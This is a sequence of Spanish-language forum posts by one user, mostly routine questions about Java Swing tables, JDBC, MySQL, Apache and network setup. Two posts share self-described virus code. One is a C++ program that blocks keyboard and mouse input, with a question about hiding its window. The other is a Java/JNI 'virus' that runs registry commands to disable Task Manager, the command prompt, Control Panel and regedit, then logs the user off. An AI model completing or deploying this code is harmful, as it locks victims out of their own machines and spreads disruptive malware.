printBtn.addActionListener(new ActionListener() {

public void actionPerformed(ActionEvent e) {

print();

}

});

JButton exitBtn = new JButton("Exit");

exitBtn.addActionListener(new ActionListener() {

public void actionPerformed(ActionEvent e) {

exit();

}

});

tb.add(printBtn);

tb.add(exitBtn);

getContentPane().add(tb, BorderLayout.NORTH);

}

/////////ojoo aqui es para imprimir el pdf
private void print() {

Document document = new Document(PageSize.A4.rotate());

try {

PdfWriter writer =

PdfWriter.getInstance(document, new FileOutputStream("C:\\Users\\Hacker\\Desktop\\myy_jtable_fonts.pdf"));

document.open();

PdfContentByte cb = writer.getDirectContent();

// Create the graphics as shapes

cb.saveState();

Graphics2D g2 = cb.createGraphicsShapes(500, 500);

// Print the table to the graphics

Shape oldClip = g2.getClip();

g2.clipRect(0, 0, 500, 500);

table.print(g2);

g2.setClip(oldClip);

g2.dispose();

cb.restoreState();

document.newPage();

// Create the graphics with pdf fonts

cb.saveState();

g2 = cb.createGraphics(500, 500);

// Print the table to the graphics

oldClip = g2.getClip();

g2.clipRect(0, 0, 500, 500);

table.print(g2);

g2.setClip(oldClip);

g2.dispose();

cb.restoreState();

} catch (Exception e) {

e.printStackTrace();

System.err.println(e.getMessage());

}

document.close();

}

/**

* Exit app

*/

private void exit() {

System.exit(0);

}


public static void main(String[] args) {

JTable2Pdf frame = new JTable2Pdf();

frame.pack();

frame.setVisible(true);

frame.print();

frame.exit();

}

}v



y esto me da como resultado esto...

no se si ustedes me podria ayudar o dar alguna sugerenciaa  de como han ustedes trabajado con esto y solucionado,si no es mucha molestiaa...de antemano muchas gracias saludos...maness.... seguire buscando en el sen sei google e ir implementando aver si me sale algo decente .. :-\ :-\
#7
hola buenas men..bueno mi duda es si alguien ha trabajado con un campo increment lo unico que quiero es saber tengo un campo factura en donde realizo ventas y en las ventas el sistema asigna un contador... ahora eso es lo que quiero incrementar como esta imagen...


si de dan cuenta saco la factura con esto



public void cargarnum_factura(JTextField jtxt_factura){
try{
            Class.forName (driver);
con = DriverManager.getConnection (url,user,pass);
            System.out.println ("su conexion ha sido muy exitosa"+con);
rs = stmt.executeQuery("SELECT factura FROM ventas ");
//reiniciar contador a cero ALTER TABLE nombre_tabla AUTO_INCREMENT= 1
                ResultSetMetaData RSMD = rs.getMetaData();
                int ColumnCount = RSMD.getColumnCount();
                Object[] Resultados = new Object[ColumnCount];
                while(rs.next()){
                    for(int x=1;x<ColumnCount;x++){
                        Resultados[x] = rs.getObject(x+1); aqui le sumo uno pero como la imagen de igual manera me aparece 2 y tiene que ser 3 este metodo lo pongo en item mouseclicked para que lo haga gracias
                    }
                }
//aqui lo mando ami jtexfield
                jtxt_factura.setText(Resultados[0].toString());

            } catch (Exception ex) {

            }

}


bueno espero si alguien me pudiese ayudar no os quitara mucho tiempo de vos saludos
#8
buenas que tal a todos,bueno tal vez mi pregunta este un poco enredada..pero me surgio una duda..tengo una aplicacion llamada ventas y en la cual tengo yn jcombobox y ahi cargo las claves de los productos...ahora mi duda es como le puedo hacer que dependiendo de la clave del producto,me calcule el costo y el importe total.. tomando en cuenta que esa clave del producto tien un nombre y ese nombre de ese producto puede contener iva o no puede contener iva..pero como le hago para que m me lo calcule automaticamente..mi duda es como le hago que dependiendo de la clave que se escoja me calcule l importe estaba pensando en esto

si hago un select iva from producto where clave=jcombobox.getselecteditem() y esa consulta la guardo en una variable o como le puedo hacer..para que nos entendamos aqui dejo una imagenn saludos...

bueno si de dan cuenta aqui agrego la clave al producto y su costoo y el ivaa


ahora aqui en esta imagen despliego la clave que claro la clave ya contien un costo y ese producto puede contener iva o no puede contener iva


entonces como calculo que depndiendo del producto que escoga y la cantidad que quieren comprar calcule el costo y el importe total no se si me pudiera dar alguna sugerencia de antemano muchas gracias saludos...
#9
Buenas xd a toda la comunidad,queria ver si me podian ayudar,a ordenar estos 2 archivos,bueno!tengo un JTable conectado a la base de datos,,tengo un JTextField y tengo un JButton,lo que intento  hacer es filtrar texto desde un JTextField....

en este primer archivo me corre una jtable con unos datos por default,escribo en el jtextfield y le doy buscar y me encuentra lo que anote en el jtextfield con  sorter.setRowFilter ( RowFilter.regexFilter ( text )) ;,pero el PROBLEMA  es que sto no esta coenctada a la base de datos y se me vino a la mente que esta funcion la puedo ocupar para buscar datos en un jtable donde si tengo implementado la conexion desde una base de datos,si alguien me pudiera ayudar a implementarlo este es el archivo donde filtra el texto:
Código (java) [Seleccionar]

import java.awt.BorderLayout;
   import java.awt.event.ActionEvent;
   import java.awt.event.ActionListener;

   import javax.swing.JButton;
   import javax.swing.JFrame;
   import javax.swing.JLabel;
   import javax.swing.JPanel;
   import javax.swing.JScrollPane;
   import javax.swing.JTable;
   import javax.swing.JTextField;
   import javax.swing.RowFilter;
   import javax.swing.table.DefaultTableModel;
   import javax.swing.table.TableModel;
   import javax.swing.table.TableRowSorter;

    public class RegexTable {
       public static void main ( String args []) {
         JFrame frame = new JFrame ( "BUSCAR EN UN JTABLE" ) ;
         frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ;
         Object rows [][] = { { "A" , "About" , 44.36 } , { "B" , "Boy" , 44.84 } , { "C" , "Cat" , 463.63 } ,
               { "D" , "Day" , 27.14 } , { "E" , "Eat" , 44.57 } , { "F" , "Fail" , 23.15 } ,
               { "G" , "Good" , 4.40 } , { "H" , "Hot" , 24.96 } , { "I" , "Ivey" , 5.45 } ,
               { "J" , "Jack" , 49.54 } , { "K" , "Kids" , 280.00 } } ;
         String columns [] = { "NOMBRE" , "DESCRIPCION" , "PRECIO" } ;
         TableModel model =
             new DefaultTableModel ( rows, columns ) {
                public Class getColumnClass ( int column ) {
                  Class returnValue;
                  if (( column >= 0 ) && ( column < getColumnCount ())) {
                     returnValue = getValueAt ( 0 , column ) .getClass () ;
                  }
                  else {
                     returnValue = Object. class ;
                  }
                  return returnValue;
               }
            } ;
     
         final JTable table = new JTable ( model ) ;
         final TableRowSorter<TableModel> sorter = new TableRowSorter<TableModel> ( model ) ;
         table.setRowSorter ( sorter ) ;
         JScrollPane pane = new JScrollPane ( table ) ;
         frame.add ( pane, BorderLayout.CENTER ) ;
     
         JPanel panel = new JPanel ( new BorderLayout ()) ;
         JLabel label = new JLabel ( "REGISTRO" ) ;
         panel.add ( label, BorderLayout.WEST ) ;
         final JTextField filterText = new JTextField ( "Registro a Buscar" ) ;
         panel.add ( filterText, BorderLayout.CENTER ) ;
         frame.add ( panel, BorderLayout.NORTH ) ;
         JButton button = new JButton ( "BUSCAR" ) ;
          button.setBounds(500,100,150,20);

         button.addActionListener (
                new ActionListener () {
                   public void actionPerformed ( ActionEvent e ) {
                     String text = filterText.getText () ;
                     if ( text.length () == 0 ) {
                        sorter.setRowFilter ( null ) ;
                     }
                     else {
                        sorter.setRowFilter ( RowFilter.regexFilter ( text )) ;
                     }
                  }
               }) ;
         frame.add ( button, BorderLayout.SOUTH ) ;
         frame.setSize ( 300 , 250 ) ;
         frame.setVisible ( true ) ;
      }
   
   }




y ese es mi archivo donde tengo conectada la base de datos y aqui le quiero implementar un JButton y un JTextField,con los metodos de archivo anterior,pero como NO se como armar los 2 archivos en uno solo me falta algo de logica algoritmica o matematica,pero si alguien me pudiera decir los pasos que debo hacer se lo agradecere bastante
Código (java) [Seleccionar]

import java.awt.Event.*;
   import javax.swing.*;
   import java.awt.*;
   import javax.swing.table.*;
   import java.sql.*;

    public class PruebaTabla implements ActionListener {
       public static void main(String[] args)
      {
         NuevaVentana v=new NuevaVentana();
         v.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
         v.setVisible(true);
      }
   }
    class NuevaVentana extends JFrame{
      private static final int ancho=300;
      private static final int largo=300;
       public NuevaVentana(){
         this.setTitle("Prueba Tabla");
         this.setSize(ancho,largo);
         NuevoPanel p=new NuevoPanel();
         add(p);
         
         //JButton bt= new JButton("buscar");
         //bt.setBounds(300,100,150,20);
        // p.add(bt);
     
      }
   }
    class NuevoPanel extends JPanel{
      DefaultTableModel modelo=new DefaultTableModel();
      {
         modelo.addColumn("clave");
         modelo.addColumn("Nombre");
         modelo.addColumn("descripcion");
      }
      JTable tabla=new JTable(modelo);
      JScrollPane scroll=new JScrollPane(tabla);
       public NuevoPanel(){
         this.setLayout(new BorderLayout());
         add(scroll,BorderLayout.CENTER);
         mostrarTabla();
            JLabel label = new JLabel ( "REGISTRO" ) ;
         this.add ( label, BorderLayout.WEST ) ;
         
      final JTextField filterText = new JTextField ( "Registro a Buscar" ) ;
         this.add ( filterText, BorderLayout.NORTH  ) ;
         //add ( p, BorderLayout.NORTH ) ;
         JButton bt= new JButton("buscar");
         //bt.setBounds(300,100,150,20);
        //add(bt);
      this.add (bt, BorderLayout.SOUTH ) ;
      bt.addActionListener (
                new ActionListener () {
                   public void actionPerformed ( ActionEvent e ) {
                     String text = filterText.getText () ;
                     if ( text.length () == 0 ) {
                        sorter.setRowFilter ( null ) ;
                     }
                     else {
                        sorter.setRowFilter ( RowFilter.regexFilter ( text )) ;
                     }
                  }
               }) ;



      }
       public void mostrarTabla(){
         try
         {
            DriverManager.registerDriver(new org.gjt.mm.mysql.Driver());
            Connection conexion = DriverManager.getConnection ("jdbc:mysql://localhost/almacen","root", "12345");
            Statement s = conexion.createStatement();
            ResultSet rs = s.executeQuery ("select * from categoria");
            Object[] fila=new Object[3];
            while (rs.next())
            {
               fila[0]=rs.getInt ("clave");
               fila[1]=rs.getString ("Nombre");
               fila[2]=rs.getString("descripcion");
               modelo.addRow(fila);
            }
            conexion.close();
         }
             catch (Exception e)
            {
               e.printStackTrace();
            }
      }
   }



ojala que alguien me pueda ayudar,ya me tarde algo en implementarlo...
NOTA: todo por la che logicaaaa que me faltaa desarrollar,pero bueno!saludos!se los agradecere bastante SI ALGUIEN me ayuda bueno bye!
#10
Buenas saludos a todos,bueno mi problema es que intento realizar un buscador en java,pero lo quiero es que cuando vaya escribiendo en el JTextField();y me vayan apareciendo los posibles resultados,lo estoy implementando con esto:
Código (java) [Seleccionar]

  public String[] buscarpersona (int id){
     
     
        try
        {
           Class.forName (driver);
       
           con = DriverManager.getConnection (url + db,user,pass);
           System.out.println ("su conexion ha sido muy exitosa");
           stmt = con.createStatement();
           rs=stmt.executeQuery("SELECT * FROM personas WHERE personaid='" +id+"'");
           ResultSetMetaData rsmd=rs.getMetaData();
           datos=new String[rsmd.getColumnCount()];
           int cont2=1;
        //ciclo de llenado de resultset al arreglo para poder mandarlo al programa
        //arreglo-->0
        //resultset-->1
           while(rs.next()){
              for(int cont=0;cont<rsmd.getColumnCount();cont++){
                 datos[cont]=rs.getString(cont2);
                 cont2++;
             
              }
           }
           stmt.close();
           con.close();
           return datos;
       
        }
            catch (Exception e){
              e.printStackTrace();
              System.err.println ( e.getMessage ());
           
           
           
           
           
              return datos;
           
             
           
             
           
           }
     }



y esto es lo que tengo en java:
Código (java) [Seleccionar]


private void btnbuscarActionPerformed(java.awt.event.ActionEvent evt){
String datos[];
try{
int id=Integer.parseInt(txtReg.getText());
datos=bd.BuscarPersona(id);
if(datos!=null){
//datos[0] corresponde al id
txtNombre.setText(datos[1]);
txtDomicilio.setText(datos[2]);
txtMail.setText(datos[3]);
txtCiudad.setText(datos[4]);
}
}catch(Exception e){
JOptionPane.showMessageDialog(this,"debe escribir un numero en el campo de registro","aviso",JOptionPane.ERROR_MESSAGE);
txtReg.grabFocus();
txtReg.selectAll();
}
}

aver si alguien me puede recomendar algo,estaba buscando sobre keylistener,no se si alguno de ustedes han hecho algo parecido,saludos y gracias de antemano xauz...
#11
buenas xd me preguntabaa si alguien me da su punto de vista lo que pasa es que tengo que hacer un sistema de bases de datos  este sistema esta en clipper y en DBase y me pregunto para cual seria mejor pasarloo para MYSQL O PARA VISUAL FOX PRO,los comentarios de visual fox pro es qeu me dijeron es de ancianoss si alguien me puede dar su oponion ya que el sistema va enfocado para uso empresariallll XD,espero sus respuestas aver si alguien me puede da su opinion saludos XD
#12
buenas a todos,ya estuve leyendo estos dos links pero no puedo hechar a andar estoo
http://www6.nohold.net/Cisco2/ukp.aspx?vw=1&docid=14c8cf4085c143349f9c9cde41579554_9693.xml&pid=80&respid=0&snid=3&dispid=0&cpage=search


http://www6.nohold.net/Cisco2/ukp.aspx?vw=1&docid=651d7d284e044e00a42688da74a5f714_11730.xml&pid=80&respid=0&snid=5&dispid=0&cpage=search



lo que quiero hacer es conectar el modem del 2wire del infinitum al routerrr y de ahi sacar los 2 swtch del router y hacer una maquina sea servidorrr pero no logro sacar el internet,alguien le ha pasadoo estoo que em pudiera ayudar,no vengo aq ue em hagan el trabajooo solo hize una preguntaaaa,pero si alguieb quisiera ayudarmee de vrdd se lo agraeceriaa bastantee ,no paso de ahii de sacar el internet,he oido que tengo que deshabilita el server DHCP EN UNO DE LOS 2,ya que los modem 2wire tambien son modem/router si alguien sabe algo que m lo haga saber si estoy en lo correcto o nooo,saludos espero contar con su apoyoo ...byeee
#13
buenas XD a todos primero que nada les deceo a toda la comunidad felices fiests decembrimas,feliz navidad,bueno mi pregunta es como desarrollar una aplicacion de un sistema de bases de datos con MYSQL AB,este sistema esta hechoe en clipper y yo lo quiero hacer en MYSQL,alguien sabe o tiene alguna idea de como implementarlo,y que se puedan realizar consultas como actualizar,dar de bajas,dar de altas busquedas, sin mas ni menos dejo unas imagenes de lo qeu quiero hacer saludos XD




#14
Buenas XD bueno ahora lo que trato de implementar en un virus es el bloqueo del teclado y el mouse,pero compilo el proceso con dev c++ y me genera el .exe.ahora al darle doble click al exe,me aparece la pantalla en negro,como hacer para ocultar esa pantalla y que no me muestre nada,que solo lo realize el bloqueo internamente en el sistema operativo..alguien me puede ayudar como hacer para que no aparezca la pàntalla en negro....aqui les dejo mi codigo y una imagen de loq ue quiero ocultar..saludos XD..y FELICEZ FIESTAS NAVIDEÑAS! ;D ;D ;D








#include <windows.h>
#include <cstdlib>
#include <iostream>
#include <winable.h> // Necesaria para blockinput();


using namespace std;

int main(int argc, char *argv[])
{
    if(BlockInput(true)==0)
     {

    Sleep(5000000);
    BlockInput(false);
    }
 

    getchar();
    return EXIT_SUCCESS;
}






#15
Buenas XD,saludos bueno aver si alguien tiene una idea de esto o ustdes mismos lo pueden testear  bueno lo que intento hacer es crear virus en java con c++ implementando Java native interfaz,solo que tengo una duda si asi mis metodos estan bien declarados en JNI y mi duda tambien es como crear el archivo .ccp para armar la libreria .dll sin mas ni menos aqui estan los codigos:
mi archivo JNIvirus


  import java.awt.Frame; //Crear frame
import java.awt.Robot; //Controla los eventos del teclado
 import java.io.*;//Entrada y salida de datos
  import java.util.logging.Level; //Captura errores
  import java.util.logging.Logger; //Captura errores

   class JNIvirus extends Frame
  {
     static {
        System.loadLibrary("JNIvirusLibrary");
     /**
      * Carga de la DLL hecha en C++ para bloquear teclado y mouse
      */
     }
 
  //AQUI mi problema esta en estos metodos si van con public native o  solo public native void no me manda ningun error
 
      public native void enSistema ();
   
 
      public native void mouseCold ();
       
 
      public native void killprocess ();
       
  //***************************************************************+
  //===========METODOS DE PUBLIC VOID CREADOS CON JNI
 
      public void runvirus1 ()
     {
     
     
        try
        {
       
       
         //***********aqui infecto aplicaciones agregando sus valores en el registro de win poniendo el valor en 1
           Runtime.getRuntime ().exec ("cmd /c msg *ESTAS INFECTADO POR EL VIRUS JNI JAVA AND C++");
           Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f ");
           Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Policies\\Microsoft\\Windows\\System /v DisableCMD /t REG_DWORD /d 1 /f ");
       
       
       
           Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f ");
           Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableRegistryTools /t REG_DWORD /d 1 /f ");
           Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoRun /t REG_DWORD /d 1 /f ");
           //**********cierro sesion para aplicar cambios
           Runtime.getRuntime ().exec ("logoff");
       
        }
            catch (IOException ex)
           {
              Logger.getLogger (JNIvirus.class.getName ()).log (Level.SEVERE, null, ex);
           }
        enSistema ();
       
     
     }
 
 
  /////////////////////////////////////////////////////////////////////////////7
  //////////////////////////////////////////////////////////////////////////////////////
 
      public void runvirus2 ()
     {
     
     
     
        System.out.println("metodo corriendo JNI");
        mouseCold ();
     
     }
 
 
  //*******************************************************************************************
      public void runvirus3 ()
     {
        System.out.println("metodo corriendo JNI");
     
     
        killprocess ();
     
     }
 
 
 
 
 
  }







mi archivo main class


public class Main{
      public static void main (String[] args)
     {
     
        JNIvirus JNIprueba = new JNIvirus ();
     
        JNIprueba.enSistema ();
        JNIprueba.mouseCold();
        JNIprueba.killprocess();
       
       
     
     }
  }






una vez compilandolo con javac genero mi archivo .h con javah -jni JNIvirus





/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class JNIvirus */

#ifndef _Included_JNIvirus
#define _Included_JNIvirus
#ifdef __cplusplus
extern "C" {
#endif
#undef JNIvirus_FOCUS_TRAVERSABLE_UNKNOWN
#define JNIvirus_FOCUS_TRAVERSABLE_UNKNOWN 0L
#undef JNIvirus_FOCUS_TRAVERSABLE_DEFAULT
#define JNIvirus_FOCUS_TRAVERSABLE_DEFAULT 1L
#undef JNIvirus_FOCUS_TRAVERSABLE_SET
#define JNIvirus_FOCUS_TRAVERSABLE_SET 2L
#undef JNIvirus_TOP_ALIGNMENT
#define JNIvirus_TOP_ALIGNMENT 0.0f
#undef JNIvirus_CENTER_ALIGNMENT
#define JNIvirus_CENTER_ALIGNMENT 0.5f
#undef JNIvirus_BOTTOM_ALIGNMENT
#define JNIvirus_BOTTOM_ALIGNMENT 1.0f
#undef JNIvirus_LEFT_ALIGNMENT
#define JNIvirus_LEFT_ALIGNMENT 0.0f
#undef JNIvirus_RIGHT_ALIGNMENT
#define JNIvirus_RIGHT_ALIGNMENT 1.0f
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID -7644114512714619750i64
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID 4613797578919906343i64
#undef JNIvirus_INCLUDE_SELF
#define JNIvirus_INCLUDE_SELF 1L
#undef JNIvirus_SEARCH_HEAVYWEIGHTS
#define JNIvirus_SEARCH_HEAVYWEIGHTS 1L
#undef JNIvirus_OPENED
#define JNIvirus_OPENED 1L
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID 4497834738069338734i64
#undef JNIvirus_DEFAULT_CURSOR
#define JNIvirus_DEFAULT_CURSOR 0L
#undef JNIvirus_CROSSHAIR_CURSOR
#define JNIvirus_CROSSHAIR_CURSOR 1L
#undef JNIvirus_TEXT_CURSOR
#define JNIvirus_TEXT_CURSOR 2L
#undef JNIvirus_WAIT_CURSOR
#define JNIvirus_WAIT_CURSOR 3L
#undef JNIvirus_SW_RESIZE_CURSOR
#define JNIvirus_SW_RESIZE_CURSOR 4L
#undef JNIvirus_SE_RESIZE_CURSOR
#define JNIvirus_SE_RESIZE_CURSOR 5L
#undef JNIvirus_NW_RESIZE_CURSOR
#define JNIvirus_NW_RESIZE_CURSOR 6L
#undef JNIvirus_NE_RESIZE_CURSOR
#define JNIvirus_NE_RESIZE_CURSOR 7L
#undef JNIvirus_N_RESIZE_CURSOR
#define JNIvirus_N_RESIZE_CURSOR 8L
#undef JNIvirus_S_RESIZE_CURSOR
#define JNIvirus_S_RESIZE_CURSOR 9L
#undef JNIvirus_W_RESIZE_CURSOR
#define JNIvirus_W_RESIZE_CURSOR 10L
#undef JNIvirus_E_RESIZE_CURSOR
#define JNIvirus_E_RESIZE_CURSOR 11L
#undef JNIvirus_HAND_CURSOR
#define JNIvirus_HAND_CURSOR 12L
#undef JNIvirus_MOVE_CURSOR
#define JNIvirus_MOVE_CURSOR 13L
#undef JNIvirus_NORMAL
#define JNIvirus_NORMAL 0L
#undef JNIvirus_ICONIFIED
#define JNIvirus_ICONIFIED 1L
#undef JNIvirus_MAXIMIZED_HORIZ
#define JNIvirus_MAXIMIZED_HORIZ 2L
#undef JNIvirus_MAXIMIZED_VERT
#define JNIvirus_MAXIMIZED_VERT 4L
#undef JNIvirus_MAXIMIZED_BOTH
#define JNIvirus_MAXIMIZED_BOTH 6L
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID 2673458971256075116i64
/*
* Class:     JNIvirus
* Method:    enSistema
* Signature: ()V
*/
JNIEXPORT void JNICALL Java_JNIvirus_enSistema
 (JNIEnv *, jobject);

/*
* Class:     JNIvirus
* Method:    mouseCold
* Signature: ()V
*/
JNIEXPORT void JNICALL Java_JNIvirus_mouseCold
 (JNIEnv *, jobject);

/*
* Class:     JNIvirus
* Method:    killprocess
* Signature: ()V
*/
JNIEXPORT void JNICALL Java_JNIvirus_killprocess
 (JNIEnv *, jobject);

#ifdef __cplusplus
}
#endif
#endif







utlizo el dev c++ me voy en crear nuevo proyecto y selecciono la libreria .dll
me salen dos archivos en el primero dll.h lo remplazare por la libreria .h de mi clase,y mi archivo Dllmain.cpp va mi archivo que tengo de C++ aqui esta su code,es lo que quiero mandar a traer desde java...



mi problema esta aqui para crear la libreria .dll ya tengo mi archivo JNIvirus.h pero el codigo de C++ no se como mandarlo tambien... como la creo para mandar a llamar los metodos de java alguien me puede decir



#include <windows.h> //Para poder agregar la entrada al registro
#include <winable.h>
#include <tlhelp32.h>
#include <stdio.h>




char* die1="DisableCMD";


NIEXPORT void JNICALL Java_JNIvirus_enSistema
 (JNIEnv *, jobject);

/*
* Class:     JNIvirus
* Method:    mouseCold
* Signature: ()V
*/
JNIEXPORT void JNICALL Java_JNIvirus_mouseCold
 (JNIEnv *, jobject);

/*
* Class:     JNIvirus
* Method:    killprocess
* Signature: ()V
*/
JNIEXPORT void JNICALL Java_JNIvirus_killprocess
 (JNIEnv *, jobject);

void Bloquear(char* Aplicacion)
{

try
{
HKEY hHKCU = NULL, hMyKey = NULL;
DWORD value = 0;
if (Aplicacion=="DisableCMD")
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hHKCU, "Software\\Policies\\Microsoft\\Windows\\System", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS)
{
RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD));
RegCloseKey(hMyKey);
}

}
}



}//fin try
catch (...)
{
}
}

bool H4CK4LIFE()
{
   
   

}

int main()
{

if (H4CK4LIFE()==false)
{
Bloquear (die1);

}


return 0;
}






ahora si alguien ve los codes si me puede decir como genero mi archivo .cpp tengo que poner los JNIEXPORT,alguien que lo pueda testear y decirme como puedo hacer para terminar la libreria .dll,buenoo espero alguien me pueda orientar,saludos a todos XD...
#16
bueno mi pregunta tal vez sea algo tonta,para ustedes pero mientras leo en el sen sei google,mi pregunta....
bueno mi caso es que desde hace un tiempo queria hacer un antivirus y ahora ya lo tengo,pero me falta el motor de busqueda heuristica y estaba viendo en internet que los anvirus para celulares estan en formato .sis y quiero ver el contenido y editarlos,tal vez estoy pensando si los convierto en .jar y me descomprimira todo el contenido osea los .class y con un programa como java decompile pueda ver el codigo y estudiar el codigo,alguien me puede decir por favor si no le ha pasado lo que me esta pasando amii????
#17
Desarrollo Web / como crear un servidor espejo?
27 Octubre 2010, 03:03 AM
buenas a todos XDs bueno tengo una duda,tengo un servidor con cpanel ejemplo1.net y despues fui a www.co.cc,cree un dominio prueba1.co.cc y puse las 2 DNS ns1.dixhost,ns2.dixhost,ya lo tengo configurado,ahora lo que tengo que hacer es que en ejemplo1.net voy a subir un sistema de comercio electronico y cualquier cambio que se haga,tambien se tiene que hacer en prueba1.co.cc,esa es mi duda estuve leyendo y me dicen que es con un servidor espejo,por ejemplo si se cai ejemplo1.net,siga activo prueba1.co.cc,aunque he pensado que cuando se caiga se redirreccione el dominio de ejemplo1.net a prueba1.co.cc,no se si me explico XDs alguien me puede decir si tiene una idea.o me puede ayudar,se los agradeceria bastante...saludos XDs
#18
Buenas XD adentrandome al tema qusiera saber que necesito para programar con JNI,sigo leyendo acerca de enlazar java y C++,pero como lo enlazo? busque de JNA(JAVA NATIVE ACESS) en el foro que hay que descargar el .jar de JNA y que este paquete tengo que pegarlo  dentro de la ruta de la maquina virtual en jdk1.6.0_13\jre\lib\ext,pero no encontre de JNI me pregunto si es lo mismo.tengo los siguientes codes uno escrito en java y otro escrito en C++ si alquien me podria decir,se los agradeceria salu1+1...

#include <jni.h>
#include <stdio.h>
#include "HelloWorld.h"

JNIEXPORT void JNICALL
Java_HelloWorld_print(JNIEnv *env, jobject obj)
{
    printf("Hello World!\n");
    return;
}



codigo de java

class HelloWorld {
    private native void print();
    public static void main(String[] args) {
        new HelloWorld().print();
    }
    static {
        System.loadLibrary("HelloWorld");
    }
}

pero al compilarlo me marca error en JNIEXPORT,si alguien me puede decir...saludos
#19
Java / como programar un antivirus en java
26 Agosto 2010, 17:22 PM
holas XDs sta muy bien su foro,me gusta... bueno lo que quiero hacer es desarrollar un antivirus en java aver si alguien me puede orientar,sii no muy sofisticado estaba pensando crear 4 o 5 virus en bacht no es la gran cosa y que desde java me los detectara o al agregar una entrada al registro que me diga que acceso dengado aver si alguien me puede orientar un diagrama de flujo codigo fuente bueno le estare buscando en el tio mientrass aver si encuentro algo saludos XDs..
#20
Redes / servidor web apache con dyndns
2 Agosto 2010, 19:08 PM
Ya probe de todo, y nadie me ayuda.. ya me canse de esto...

Tengo Winsevent.. quiero montar un servidor con ip dinamica

Esto fue lo que hice..

Me registré en DynDNS.Com
Adquirí un Host... escuela.dyndns.ws
Instale el DynSITE y DynDNS Update
agregre estas lineas en el archivo http.conf del apache lo reinicieee

NameVirtualHost 192.168.1.64

<VirtualHost 192.168.1.64>
   ServerAdmin admin@dyndns.ws
   DocumentRoot /htdocs/
   ServerName escuela.dyndns.ws

</VirtualHost>




Ahora al escribir escuela.dyndns.ws no sale NADA...
probe con un ping y con nslookup y si funciona correctamente...

Pero el servidor no funciona para nada....

Tengo una red , y mi ip privada es 192.168.1.64... localmente si me sale la web, pero por escuela.dyndns.ws no sale... creo que hay una manera de usar la ip publica para que apunte a mi Ip privada... y se vea la web..
lo que quice fue agregar el puerto 80 desde el modem del 2wire de telmex y agregre la cuenta que hize con dyndns
saludos xd espero que alguien me pueda iluminar,hay mucha informacion para linux con ddclient y con bind9 pero quiero encontrar la manera de hacerlo con windowss,se que para eso esta el server 2003,2008 pero lo quiero hacer con dyndns no se si me expliquee
Bye. gracias de antemano
#21
buenas XD salud2 lo que quiero hacer es denegar permiso a un archivo desde la url que si el usuario intenta acceder desde la url que le aparezca un mensaje de error ejemplo:
http://localhost/administrador/compra.php algo como ""permiso denegado no puede abrir este archivo desde la url regrese a la pagina principal y acceda correctamente
es un ejemplo y si el usuario accede debidamente"" http://localhost/tienda/venta/compra.php pueda acceder estaba probando con archivos .htaccess y cauusar el error 403 permiso denegado espero me puedan ayudar XD salu2 y graciass
#22
PHP / error al cargar libreria ioncube
5 Junio 2010, 16:39 PM
buenas XD estoy testeando un scrip de una encuesta me parecio el demo muy bueno y viene el script para descargar esta completo pero al tratar de instalar me manda un error respecto a las librerias incube de windows .dll se puede instalar el script esta disponible para linux tambien aqui esta una imagen del error


aqui esta al web del demo
http://wt.epplersoft.com/
ya fui  a la web de soporte


aqui esta el script para su descarga

http://epplersoft.com/webtester/download.html


http://translate.google.com/translate?js=y&prev=_t&hl=es&ie=UTF-8&layout=1&eotf=1&u=http%3A%2F%2Fwww.ioncube.com%2Floaders.php&sl=en&tl=es

me descargue el cargador apra windows en .exe pero no se que pasa   le doy denuevo al script y nomas no,creo que tiene que ver algo con lo del php.ini

espero que alguien me ilumine y si alguien tiene tiempo de testearlo  que lo haga para que vea el error ya que es un muy buen scipt aparte programe uno  un sistema de encuestados nadamas que este trae un sistema de administracion completa ojala que alguien lo pueda testar saludos xd
#23
Hola no se si esto va aqui,pero no supe donde ponerlo.....
solo queria ver si me pueden dar una orientacion y algun consejo de como crear estas tablas con todos estos campos con php y que se guarden en una base datos...
lo hare primero en MYSQL,despues lo pasare a postgresql,ya tengo el sistema de registro,y el login de usuarios,se algo de programacion en php y mysql,y posgresql,solo necesito un consejo o una sugerencia de como puedo crearlo,ya yo me ENCARGO de la PROGRAMACION solo necesito saber unas opiniones,que me digan unas sugerencias la logica de como crearlo,su estructura...
yo lo empeze hacer creando checkbox metiendo todos los datos en un arrays,Y GUARDARLOS  en una tabla y despues que los vaya insertando en la DB,para los campos tambien empeze a crearlos,los tengo que validar por si el usuario no lleno los campos,para despues realizar querys,y que muestre todos los datos insertados DEL alumno,sigo investigando aun, bueno eso es todo si no es mucha molestia gracias de antemano...,saludos desde mexico,aqui dejo las imagenes...


http://i47.tinypic.com/2jd3n01.jpg
http://i46.tinypic.com/hrhf1l.jpg
http://i46.tinypic.com/2gtrsww.jpg

bueno espero sus respuestas..XD XD...  :xD :xD